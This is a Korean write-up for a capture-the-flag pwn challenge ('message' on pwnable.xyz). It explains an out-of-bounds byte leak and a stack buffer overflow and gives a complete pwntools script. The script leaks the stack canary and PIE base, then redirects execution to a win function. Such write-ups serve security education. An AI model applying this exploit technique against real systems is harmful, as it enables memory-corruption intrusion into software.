문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
풀밭이다.
<< Code >>
· main
※ scanf도 null byte를 읽을 수 있다는 점을 까먹지 말자.
메뉴 1번을 통해 메시지를 수정할 수 있다. 내가 원하는 페이로드를 여기로 넣으면 될 것 같다.
메뉴 3번은 이 문제에서 bss영역에 있는 admin 변수 값을 건드리기 조--금 어렵기 때문에 BOF with canary를 생각했다.
메뉴 2번으로 OOB를 통해 canary를 leak 할 수도 있지 않을까 싶었지만 디버깅해보면 scanf 입력 끝에는 null을 삽입해서 불가능했다.
메뉴 0번! 있는지 잘 안보이지만 이걸로 함수를 종료하고 ret을 호출할 수 있다. 물론 canary를 검사한 뒤다.
· get_choice
get_choice 함수에게 준 값을 기준으로 해당하는 곳의 한 바이트를 리턴하고 main에서는 이 값을 메뉴 몇 번인지 선택하는 데에 쓰이는데, 이때 없는 메뉴의 값이면 LABEL_14에서 나오는 것처럼 그 값은 없다면서 리턴된 값을 한 바이트 알려준다.
🧩 Exploit Scenario
get_choice 함수가 호출되고 난 뒤 스택의 상황이다.
적절한 인덱스 값을 준다면 canary와 pie_base를 모두 알아낼 수 있을 것이다.
이후 알맞는 페이로드를 메뉴 1번을 통해 보내준 후, 메뉴 0번을 호출한다면 성공적으로 win 함수를 호출하게 될 것이다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process('./message')
p = remote('svc.pwnable.xyz', 30017)
e = ELF('./message')
def leak(s, e):
ret = ''
for i in range(s, e):
p.sendlineafter('> ', chr(i + 0x30))
p.recvuntil('Error: ')
leak = int(p.recvuntil(' is', drop=True))
ret = f'{leak:02x}' + ret
return ret
p.sendlineafter(': ', 'karatus')
canary = int(leak(11, 18) + '00', 16)
success(f'canary: {hex(canary)}')
pie_base = int(leak(26, 32), 16) - e.sym['main'] - 113
win = pie_base + e.sym['win']
success(f'pie_base: {hex(pie_base)}')
success(f'win: {hex(win)}')
p.sendlineafter('> ', '1')
payload = b'A' * 0x28
payload += p64(canary)
payload += p64(0)
payload += p64(win)
p.sendlineafter(': ', payload)
p.sendlineafter('> ', '0')
p.interactive()
>> 안될 때 이유 <<
leak 한 canary나 win함수 내 바이트가 scanf의 종료 char (우리에겐 bad characters)가 '띄어쓰기(0x20) 혹은 엔터(0x0a)'가 포함되어 있을 때니까 당황하지 말고 될 때까지 돌려주면 된다!